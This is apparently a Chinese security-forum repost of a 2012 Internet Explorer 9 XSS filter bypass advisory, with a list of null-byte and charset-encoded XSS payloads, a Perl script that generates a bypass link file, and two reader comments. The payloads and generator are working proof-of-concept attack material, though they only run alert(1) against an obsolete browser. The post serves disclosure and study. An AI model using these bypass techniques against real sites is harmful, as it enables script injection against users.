Internet Explorer 9 XSS Filter Bypass

2012-10-25 13:59:42 2 2619
00截断之前貌似没接触过,但是字符集编码导致被绕过之前研究的很多。
(大家可以研究下某已经被补的预警!)

-------------------------------------------------------------------
Insight-labs公布的一些方法:

<script>alert(1)</script>  
<script/%00%00%00%00%00>alert(1)</script>  
%00%00v%00%00<script>alert(1)</script>  
<script/%00%00v%00%00>alert(1)</script>

“;alert(1)//  
%c0″;alert(%00)//  
%c0″;//(%0dalert(1)//  
%c0″;//(%0dalert(1)//  
%c0″;//(%00%0dalert(1)//  
%c0″//(%000000%0dalert(1)//


-------------------------------------------------------------------

#################################################
Internet Explorer 9 XSS Filter Bypass
#################################################

Discovered by: Jean Pascal Pereira <[email protected]>

Vendor information:

"Internet Explorer (formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly

abbreviated IE or MSIE)
is a series of graphical web browsers developed by Microsoft and included as part of the Microsoft

Windows line of operating
systems, starting in 1995. It was first released as part of the add-on package Plus! for Windows 95

that year. Later versions
were available as free downloads, or in service packs, and included in the OEM service releases of

Windows 95 and later versions of Windows.."

Vendor URI: http://www.microsoft.com

#################################################

Issue: Cross Site Scripting Filter Bypass

-------------------------------------

Description:

The Internet Explorer 9 offers a feature to eliminate suspicious pattern passed to the website by a

parameter.

For example, we have the following script:

-------------------------------------

<?php

echo $_GET['a'];

?>

-------------------------------------

Let's call it "blah.php". Now we access the blah.php by using Internet Explorer 9 and try to execute a

malicious string:

http://localhost/ieb/blah.php?a=<script>alert(1)</script>

After this, we receive the message "Internet Explorer has modified this page to help prevent cross-

site scripting".

The JavaScript won't be executed.

-------------------------------------

Proof Of Concept:

This trick may be known to some of you. Internet Explorer allows stripping tags by inserting

nullbytes.

For example, the following string will be executed:

3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E

Which is actually "<s[NULL]cript>alert(1)</s[NULL]cript>".

However, we won't be able to insert the nullbytes directly in the URI. The following example won't

work:

http://localhost/ieb/blah.php?a=<s%00cript>alert(1)</s%00cript>

But there is still another possibility. Grab a hex editor and create a file looking like the example

given below:

<a href='http://localhost/ieb/blah.php?a=<s[NULL]cript>alert(1)</s[NULL]cript>'>Clickme</a>

If you open the file and click the provided link, the script will be executed.

-------------------------------------

Exploit (for the lazy folks):

-------------------------------------

#!/usr/bin/perl

use strict;
use warnings;

# Internet Explorer 9 XSS Filter Bypass Generator
# Credit: Jean Pascal Pereira <pereira[at]secbiz.de>
# http://0xffe4.org

my $target  = shift || die("No target defined");
my $payload = shift || die("No payload defined");
my $lnk_txt = shift || "Click me :)";

open(OUT, ">:raw", "out.html");

print OUT "\x3C\x61\x20\x68\x72\x65\x66\x3D\x27";

print OUT $target;

print OUT "\x3C\x73\x00\x63\x72\x69\x70\x74\x3E";

print OUT $payload;

print OUT "\x3C\x2F\x73\x00\x63\x72\x69\x70\x74\x3E\x27\x3E";

print OUT $lnk_txt;

print OUT "\x3C\x2F\x61\x3E";

close(OUT);

-------------------------------------

Example usage is:

iefilter.pl http://www.example.com?var= alert(1)

-------------------------------------

Note:

Exploitation via <a href="ja[NULL]vascript:... links is also possible.

-------------------------------------

Solution:

Currently, no solution is available for this issue.

-------------------------------------

#################################################

< http://0xffe4.org >

# 1337day.com [2012-10-25]

关于作者

godblack484篇文章1190篇回复T00ls认证专家。

一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

评论2次

要评论?请先  登录  或  注册
  • 2楼
    2012-12-4 16:14

    这个文章很厉害哦。昨天看了IE8的绕过,今天又看到一个IE9的。这个自然可以绕过IE8了吧!感谢楼主提供!

  • 1楼
    2012-10-25 18:49

    这个是清华大学 的小组吧 这个我在国外网站看过 %00 只是 为了bypass 标签 其实00也不是截断的意思 %00xx 这些都是编码以后绕过标签检测而已 应该不是什么新东西